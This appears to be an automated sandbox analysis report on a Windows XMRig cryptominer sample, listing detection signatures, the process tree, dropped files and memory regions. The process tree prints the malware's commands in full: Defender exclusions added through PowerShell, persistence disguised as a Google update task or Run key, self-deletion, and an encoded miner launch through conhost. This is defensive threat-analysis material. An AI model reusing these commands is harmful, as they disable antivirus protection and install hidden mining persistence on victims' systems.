Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1799s
  • max time network
    1786s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
  • Size 2.0MB
  • Sample240123-x6bvbafgem
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 31 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3408
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:4436
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2160
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4156
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1360
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3652
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:3516
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4364
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:3180
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
            PID:1428
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:1376
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:4504
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          1⤵
            PID:1500
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4856
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              PID:2132
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:1960

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 520KB
                • SHA256 ef6c494ea8bc4f12025695776a3ea7280322a8d21f55ea994f4336cc8830fa01
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 259KB
                • SHA256 e63befdaf7bfc51a1c7fab091d9e1f175c7ba205297ed16577521f246a3016c2
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 e7dd1c36bf4ce1eb9b66099d09f53cbe25f8423411ad5034352c959dee92b675
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_w0ixzbrd.lem.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w0ixzbrd.lem.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/1428-160-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-148-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-182-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-180-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-178-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-176-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-186-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-174-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-172-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-170-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-188-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-168-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-166-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-164-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-162-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-125-0x0000017F70CD0000-0x0000017F70CF0000-memory.dmp

                memory/1428-158-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-156-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-154-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-152-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-150-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-184-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-146-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-144-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-142-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-140-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-138-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-120-0x0000017F70BA0000-0x0000017F70BC0000-memory.dmp

                memory/1428-136-0x0000017F70D50000-0x0000017F70D70000-memory.dmp

                memory/1428-121-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-135-0x0000017F70D30000-0x0000017F70D50000-memory.dmp

                memory/1428-134-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-132-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-131-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/1428-128-0x0000017F70D30000-0x0000017F70D50000-memory.dmp

                memory/1428-129-0x0000017F70D50000-0x0000017F70D70000-memory.dmp

                memory/1428-127-0x00007FF6C9080000-0x00007FF6C9874000-memory.dmp

                memory/2160-11-0x00007FFE17780000-0x00007FFE18241000-memory.dmp

                memory/2160-12-0x00000260510C0000-0x00000260510D0000-memory.dmp

                memory/2160-6-0x000002606D020000-0x000002606D042000-memory.dmp

                memory/2160-15-0x00007FFE17780000-0x00007FFE18241000-memory.dmp

                memory/3180-113-0x00000281A48C0000-0x00000281A48D0000-memory.dmp

                memory/3180-99-0x00007FFE17780000-0x00007FFE18241000-memory.dmp

                memory/3180-115-0x00007FFE17780000-0x00007FFE18241000-memory.dmp

                memory/3180-101-0x00000281A48C0000-0x00000281A48D0000-memory.dmp

                memory/3180-100-0x00000281A48C0000-0x00000281A48D0000-memory.dmp

                memory/3180-111-0x00000281A6EC0000-0x00000281A6F75000-memory.dmp

                memory/3180-112-0x00000281A48C0000-0x00000281A48D0000-memory.dmp

                memory/3652-45-0x00007FFE17780000-0x00007FFE18241000-memory.dmp

                memory/3652-51-0x00007FFE17780000-0x00007FFE18241000-memory.dmp

                memory/3652-47-0x000002187D3B0000-0x000002187D3C0000-memory.dmp

                memory/3652-46-0x000002187D3B0000-0x000002187D3C0000-memory.dmp

                memory/4156-23-0x00007FFE17780000-0x00007FFE18241000-memory.dmp

                memory/4156-28-0x00000273AD6B0000-0x00000273AD6C0000-memory.dmp

                memory/4156-27-0x00000273AD6B0000-0x00000273AD6C0000-memory.dmp

                memory/4156-30-0x00000273AD6B0000-0x00000273AD6C0000-memory.dmp

                memory/4156-31-0x00000273AD6B0000-0x00000273AD6C0000-memory.dmp

                memory/4156-33-0x00007FFE17780000-0x00007FFE18241000-memory.dmp

                memory/4364-81-0x000002127D2F0000-0x000002127D2F8000-memory.dmp

                memory/4364-83-0x000002127D330000-0x000002127D33A000-memory.dmp

                memory/4364-77-0x000002127D0B0000-0x000002127D0BA000-memory.dmp

                memory/4364-75-0x000002127AC20000-0x000002127AC30000-memory.dmp

                memory/4364-76-0x000002127D0E0000-0x000002127D195000-memory.dmp

                memory/4364-74-0x000002127D0C0000-0x000002127D0DC000-memory.dmp

                memory/4364-62-0x00007FFE17780000-0x00007FFE18241000-memory.dmp

                memory/4364-63-0x000002127AC20000-0x000002127AC30000-memory.dmp

                memory/4364-64-0x000002127AC20000-0x000002127AC30000-memory.dmp

                memory/4364-87-0x00007FFE17780000-0x00007FFE18241000-memory.dmp

                memory/4364-79-0x000002127D2E0000-0x000002127D2EA000-memory.dmp

                memory/4364-80-0x000002127D340000-0x000002127D35A000-memory.dmp

                memory/4364-82-0x000002127D320000-0x000002127D326000-memory.dmp

                memory/4364-78-0x000002127D300000-0x000002127D31C000-memory.dmp

                memory/4364-84-0x000002127AC20000-0x000002127AC30000-memory.dmp

                memory/4436-35-0x00007FF655CE0000-0x00007FF655EF1000-memory.dmp

                memory/4436-0-0x00007FF655CE0000-0x00007FF655EF1000-memory.dmp

                memory/4504-133-0x00007FF6F6680000-0x00007FF6F6696000-memory.dmp

                memory/4504-126-0x00007FF6F6680000-0x00007FF6F6696000-memory.dmp

                memory/4856-52-0x00007FF798740000-0x00007FF798951000-memory.dmp

                memory/4856-119-0x00007FF798740000-0x00007FF798951000-memory.dmp